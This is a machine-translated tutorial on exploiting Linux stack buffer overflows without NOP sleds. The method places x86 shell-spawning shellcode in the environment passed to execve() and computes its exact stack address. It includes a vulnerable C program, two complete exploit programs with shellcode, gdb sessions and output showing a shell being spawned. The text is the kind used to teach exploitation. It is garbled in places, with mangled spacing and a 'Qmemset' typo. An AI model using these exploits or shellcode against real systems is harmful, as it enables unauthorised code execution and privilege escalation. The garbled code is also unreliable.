When I read some old documents and occasionally communicated with scrippoe, I had the idea of writing this article. He told me a technology based on buffer overflow, including general stack buffer overflow and no nops is required under any circumstances. In other words, we put our buffer in the stack (preferably in the environment) and precisely know the address it locates. This article is based on the method he told me very early.
When we call vulnerable programs in our exploit, we have several methods. We can use a very clumsy method system ("./vuln");, or execl (path, args, NULL); and so on. When we select system (), we can provide our buffers in the environment, along with many other buffers. Therefore, the environment becomes messy and we cannot accurately locate our buffer. the same situation occurs when the exec * function is used. Apart from execve () and execle (), they have an option for us to define the environment buffers used by the program to be executed. It is not the 'ploit' environment. The two functions are execve () and execle (). in our example, we will use execve () instead of execle (), because execle () is nothing more then a front end to execve (). (Translator's note: I really don't know how to translate this sentence. You can understand it in this way. execve () is better than execle () in this place. Here we divide execle () function prototype:
Int execle (const char * pathname, const char * arg0,.../* (char *) 0, char * const envp [] */);
(Note: Here I will briefly talk about the execve () function, so that we can understand the two functions ending with e (execle and execve) you can pass a pointer to the Environment string pointer array. Other exe * functions use the environ variable in the calling process to copy the existing environment for the new program. Generally, a process allows its environment to be propagated to its sub-processes, but sometimes the process wants to specify a definite environment for the sub-process. For example, when initializing a New login shell, the login program creates a special environment that defines only a few variables. When we log on, we can start the file through shell, add other variables to the environment. This is actually something in unix advanced environment programming. For details, refer to this book)
--- Man execve ---
NAME
Execve-execute program
SYNOPSIS
# Include <unistd. h>
Int execve (const char * filename, char * const argv [], char * const envp []);
...
Envp is a string array that transmits an environment to a new program like key = value.
...
If execve () is called successfully, it does not return. In addition, the text, data, bss, and stack of the process are overwritten by the called program process (the old process is gone). The new process and the old process have the same PID and share the same STDIN, STDOUT, STDERR, however, other file handles will be automatically closed (note: the original file is and any open file descriptors that are not set to close on exec, however, the book I read tells me that I translated the text. I am not sure about it here. It is best to check the information for reading this article)
...
---- Man execve ----
Here execve () clearly tells us that we can provide a completely new environment for the program. After knowing this, we should study how stack works. We 'd better know what the environment is.
The address space of a linux Process has four logical segments similar to the following:
| -------------- |/---- Higher memory addresses
|
| Stack area | <-- this is where the function parameters and local variables are stored | generally, the size is dynamically allocated according to the order of forward and forward.
| ----------- |
| Heap area | <-- the dynamically allocated area | generally, malloc () and free () are called. | therefore, the heap size is also dynamically allocated.
| ----------- |
| Data area | <-- Static and global variables are left here | its size is fixed.
| ----------- |
| Text area | <-- this area is fixed and read-only | it traverses the entire program and is composed of strings.
|
| -------------- | \ ----- Lower memory addresse
During program execution, text and data segments are mapped to RAM. Heap and stack are dynamically created during program calls or dynamic connections. In this special technique, we are interested in stack. Stack generally starts with memory offset 0xc0000000. In some special cases, this is not the case. In this case, the vulnerable program uses setrlimit () to adjust RLIMIT_STACK and/or RLIMIT_AS ). in intel architecture, stack grows from 0xc0000000 down. We should check/usr/src/linux/fs/exec. c to know what happened.
----/Usr/src/linux/fs/exec. c ----
847 :/*
848: * sys_execve () executes a new program.
849 :*/
850: int do_execve (char * filename, char ** argv, char ** envp, struct pt_regs * regs)
851 :{
852: struct linux_binprm bprm;
853: struct file * file;
854: int retval;
855: int I;
856:
857: file = open_exec (filename );
858:
859: retval = PTR_ERR (file );
860: if (IS_ERR (file ))
861: return retval;
862:
863: bprm. p = PAGE_SIZE * MAX_ARG_PAGES-sizeof (void *);
864: memset (bprm. page, 0, MAX_ARG_PAGES * sizeof (bprm. page [0]);
865:
866: bprm. file = file;
867: bprm. filename = filename;
868: bprm. sh_bang = 0;
869: bprm. loader = 0;
870: bprm.exe c = 0;
871: if (bprm. argc = count (argv, bprm. p/sizeof (void *) <0 ){
872: allow_write_access (file );
873. fput (file );
874: return bprm. argc;
875 :}
876: www.2cto.com
877: if (bprm. envc = count (envp, bprm. p/sizeof (void *) <0 ){
878: allow_write_access (file );
879. fput (file );
880: return bprm. envc;
881 :}
882:
883: retval = prepare_binprm (& bprm );
884: if (retval <0)
885: goto out;
886:
887: retval = copy_strings_kernel (1, & bprm. filename, & bprm );
888: if (retval <0)
889: goto out;
890:
891: bprm.exe c = bprm. p;
892: retval = copy_strings (bprm. envc, envp, & bprm );
893: if (retval <0)
894: goto out;
895:
896: retval = copy_strings (bprm. argc, argv, & bprm );
897: if (retval <0)
898: goto out;
899:
900: retval = search_binary_handler (& bprm, regs );
901: if (retval> = 0)
902:/* execve success */
903: return retval;
904:
...
----/Usr/src/linux/fs/exec. c ----
Here we find that the pin p in the linux_binprm structure is set to point to the final memory page and subtract a void pointer, like 0xc0000000-0x04, unless there are other programs that have already specified execve. Here we can see from line 863:
863: bprm. p = PAGE_SIZE * MAX_ARG_PAGES-sizeof (void *);
Next, the file name is copied to memory (this is the first parameter of execve ).
You can see this in 887:
887: retval = copy_strings_kernel (1, & bprm. filename, & bprm );
After calculation, it should look like this:
0xc0000000-0x04-sizeof (file_that_gets_executed)
Then the environment and parameters after execve () are copied to memory. For details, see lines 892 and 896:
892: retval = copy_strings (bprm. envc, envp, & bprm );
896: retval = copy_strings (bprm. argc, argv, & bprm );
When we place our shellcode to the Environment memory, we should locate our shellcode in:
0xc0000000-0x04-sizeof (file_that_gets_executed)-sizeof (shellcode)
When the parameters of these programs are put in memory, we are not interested in them since we get the address we have located in shellcode. We already have all the required information. Now let's write an exploit for the following weak point program:
---- Vuln. c ----
01: # include <stdio. h>
02: # include <stdlib. h>
03:
04: int main (int argc, char * argv [])
05 :{
06: char buf [100];
07: if (! (Argc> 1) {printf ("gone --> no args! \ N "); exit (1 );}
08: if (getenv ("HOME") = NULL) {printf ("no getenv! \ N "); exit (1 );}
09: strcpy (buf, argv [1]);
11: return 0;
12 :}
---- Vuln. c ----
Since we have created a special contrast for other environment strings in line 8. Some redhat machines tend to add some extra bytes to the buffer. in redhat 7.2, the actual buffer length is: sub $0x78, % esp (0x78 = 120 decimal. This makes our buffer 120 bytes long. to overwrite the eip, we must provide 128 bytes. (Note: In my redhat 9, the length of 120 bytes is also allocated, one thing to mention here is that the backend and warning3 of the Green Alliance refer to the gcc issue. Here I did not test it on other platforms, so I am not sure whether it is the platform or gcc, however, this does not affect much. the predecessors of warning3 said that single-byte overflow may not be available. I have not studied it yet. Here I will only mention it)
The following program is the exploit of the above program written using this technique.
---- Expl. c ----
01: # include <stdio. h>
02: # include <stdlib. h>
03: # include <unistd. h>
04:
05: # define BUFSIZE 120
06:
07: char shell [] = "\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68"
08: "\ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89"
09: "\ x64 \ x24 \ x0c \ x89 \ x44 \ x24 \ x10 \ x8d"
10: "\ x4c \ x24 \ x0c \ x8b \ x54 \ x24 \ x08 \ xb0"
11: "\ x0b \ xcd \ x80 ";
12:
13: int main (void)
14 :{
/* Build a buffer zone and confirm that it can overwrite the eip */
15: char buf [BUFSIZE + 12];
16: char * prog [] = {"./vuln", buf, NULL };
17: char * env [] = {"HOME = BLA", shell, NULL };
18:
/* Calculate the return address */
19: unsigned long ret = 0xc0000000-sizeof (void *)-strlen (prog [0])-
20: strlen (shell)-0x02;
21:
/* Fill the buf with "*/
22: memset (buf, 0x41, sizeof (buf ));
/* Overwrite the eip with the calculated return address */
23: memcpy (buf + BUFSIZE + 4, (char *) & ret, 4 );
24: buf [BUFSIZE + 8] = 0x00;
25:
26: execve (prog [0], prog, env );
27: return 0;
28 :}
---- Expl. c ----
As described above, we need to place our shellcode at the beginning of our stack in the way stack is first-in-first-out, we must make it the last parameter of the array env. The following charts illustrate these:
| ----------------- | --> Top of the stack, at address 0xc0000000 (esp)
-| 0x04 | --> esp is now at: 0 xbffffffc
-| Sizeof (prog [0]) | --> (vuln = 4 bytes long esp is now at: 0xbffffff8
-| Second env string | --> our shellcode, it is 45 bytes (0x2d). esp is now:
| 0 xbfffffcb-0x02.
-| Fist env string | --> first environment string, "HOME = BLA", and so on.
| ----------------- |
Our shellcode address starts at: 0xbfffffc9.
We subtract 0x02 from the end because strlen () does not include 0x00 bytes. We use prog [0] and shell []). We must subtract them from each other.
Now, let's test it.
[Itchie @ netric sources] $ gcc expl. c-o expl
[Itchie @ netric sources] $./expl
Done
Sh-2.05 $
This is an exploit without nops.
The article is translated here.
REDHAT 9 can be successfully debugged without any modifications. If no source code is available, you can use the binary method in the classic tutorial of the Black Cat to get the buffer size. Below I will use a very small buffer program for example testing.
Vuln. c
# Include <stdio. h>
# Include <stdlib. h>
Int main (int argc, char * argv [])
{
Char buf [10];
If (! (Argc> 1) {printf ("gone --> no args! \ N "); exit (1 );}
If (getenv ("HOME") = NULL) {printf ("no getenv! \ N "); exit (1 );}
Strcpy (buf, argv [1]);
Printf ("done! \ N ");
Return 0;
}
Let's start the test:
Take a part of gdb debugging:
[Oyxin @ OYXin temppaper] $ gdb vuln
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
Welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu "...
Program exited normally.
(Gdb) r 'perl-e' print "A" x20''
Starting program:/home/oyxin/temppaper/vuln 'perl-e' print "A" x20''
Done!
Program exited normally.
(Gdb) r 'perl-e' print "A" x30''
Starting program:/home/oyxin/temppaper/vuln 'perl-e' print "A" x30''
Done!
Program received signal SIGSEGV, Segmentation fault.
0x42004146 in _ r_debug () from/lib/tls/libc. so.6
(Gdb) r 'perl-e' print "A" x32''
The program being debugged has been started already.
Start it from the beginning? (Y or n) y
Starting program:/home/oyxin/temppaper/vuln 'perl-e' print "A" x32''
Done!
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
The buffer size calculated should be 24. Let's verify it.
Gcc-S-o vuln. s vuln. c
View vuln. s
Pushl % ebp
Movl % esp, % ebp
Subl $24, % esp
Sure enough, this is verification. You certainly cannot check the source code.
Write your exploit:
Expl. c
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>
# Define BUFSIZE 24
Char shellcode [] = "\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68"
"\ X68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89"
"\ X64 \ x24 \ x0c \ x89 \ x44 \ x24 \ x10 \ x8d"
"\ X4c \ x24 \ x0c \ x8b \ x54 \ x24 \ x08 \ xb0"
"\ X0b \ xcd \ x80 ";
Int main (void)
{
Char buf [BUFSIZE + 10];
Char * prog [] = {"./vuln", buf, NULL };
Char * env [] = {"HOME = BLA", shellcode, NULL };
Unsigned long ret = 0xc0000000-sizeof (void *)-strlen (prog [0])-
Strlen (shellcode)-0x02;
Qmemset (buf, 0x41, sizeof (buf ));
Memcpy (buf + BUFSIZE + 4, (char *) & ret, 4 );
Buf [BUFSIZE + 8] = 0x00;
Execve (prog [0], prog, env );
Return 0;
}
Try:
[Oyxin @ OYXin temppaper] $./expl
Done!
Sh-2.05b $
It seems that there is no problem with the small buffer zone. Pai_^
From hi.baidu.com/evilrapper